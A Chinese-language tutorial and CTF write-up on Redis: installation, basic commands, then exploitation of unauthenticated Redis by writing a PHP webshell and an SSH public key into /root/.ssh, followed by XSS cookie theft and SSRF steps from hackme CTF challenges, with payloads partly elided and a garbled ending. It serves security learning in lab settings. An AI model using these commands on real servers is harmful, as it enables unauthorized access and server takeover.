redis是一種以key-value為鍵值對的非關系型數據庫。
redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。
它通常被稱為數據結構服務器,因為值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等類型。
安裝服務
win
下載地址:https://github.com/MSOpenTech/redis/releases
測試環境:
操作系統:win7ip:192.168.107.144
命令行輸入
redis-server.exe?redis.conf
接著查看端口
6379端口(redis默認端口)已經打開
redis成功啟動
ubuntu
安裝
sudo?apt-get?update sudo?apt-get?install?redis-server
啟動服務
redis-server
基本命令
連接redis
redis-cli.exe?-h?192.168.107.144
查看鍵為x的值
redis?192.168.107.144:6379>?get?x "<?php phpinfo(); ?>"
get所有key
redis?192.168.107.144:6379>?keys?* 1)?"x"
刪除所有鍵
redis?192.168.107.144:6379>flushall
漏洞利用
本機通過telnet命令主動去連接目標機
或者通過redis-cli.exe -h 192.168.107.144連接
連接成功
輸入info獲取相關信息
可以看到redis版本號等
利用方式
-
寫入一句話webshell
-
寫入ssh公鑰
寫入shell
//設置x的值 redis?192.168.107.144:6379>?set?x?"<?php phpinfo(); ?>"?? redis?192.168.107.144:6379>?config?set?dbfilename?test.php redis?192.168.107.144:6379>?config?set?dir?D:/WWW/PHPTutorial/WWW redis?192.168.107.144:6379>?save
成功寫入目標機
寫入ssh公鑰
在本地生成一對密鑰
root@ip-172-31-14-115:~/.ssh#?ssh-keygen?-t?rsa
接著將ssh公鑰寫入靶機
root@ip-172-31-14-115:/etc/redis#?redis-cli?-h?192.168.107.144 192.168.107.144:6379>?config?set?dir?/root/.ssh???????????????????#?設置本地存儲文件目錄 192.168.107.144:6379>?config?set?dbfilename?pub_keys????????#?設置本地存儲文件名 192.168.107.144:6379>?set?x?"xxxx"??#?將你的ssh公鑰寫入x鍵里。(xxxx即你自己生成的ssh公鑰) 192.168.107.144:6379>?save?????#?保存
再到本地去連接ssh
root@ip-172-31-14-115:~/.ssh#?ssh?-i?id_rsa?root@192.168.107.144
即可
CTF中的redis(XSS->SSRF&Gopher->Redis)
題目為
題目地址:https://hackme.inndy.tw/scoreboard/
xeeme
泄露
在robots.txt發現泄露源碼
是加密了的config.php
xss打cookie
注冊登陸后的界面
發郵件有驗證
驗證寫個腳本即可
<?php $captcha=1; while(1) { if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000") { echo $captcha; break; } $captcha++; } echo "<br>".md5($captcha); ?>
然后過濾了一些東西
用img測試
onload也過濾了
這里注意到一個細節,過濾的是空格加上onerror,猜想是匹配到有空格的onerror才會過濾,于是構造沒有空格的onerror,嘗試payload
@@##@@
然后打cookie,成功打到cookie
將SESSION解碼
PHPSESSID=rmibdo13ohquscgsuphitr9cp4;?FLAG_XSSME=FLAG{Sometimes,?XSS?can?be?critical?vulnerability?<script>alert(1)</script>};?FLAG_2=IN_THE_REDIS
xssrf leak
根據上一題的cookie,FLAG_2=IN_THE_REDIS
還是一樣的環境
因為拿到了管理員的cookie,于是登陸一下
需要本地登陸,嘗試一下偽造xff頭
換了幾個ip頭都沒用
于是想到之前做的題,可以直接去打管理員頁面的源碼
這里 不知道為什么 xss平臺接收不到,于是換了一個平臺
利用payload
@@##@@
發現innerhtml被過濾
于是html編碼
@@##@@
發現收到請求
解個碼,放在本地
SSRF讀取config.php
猜測send request功能存在ssrf
@@##@@
vps收到請求
解碼:
... ??????
???? ??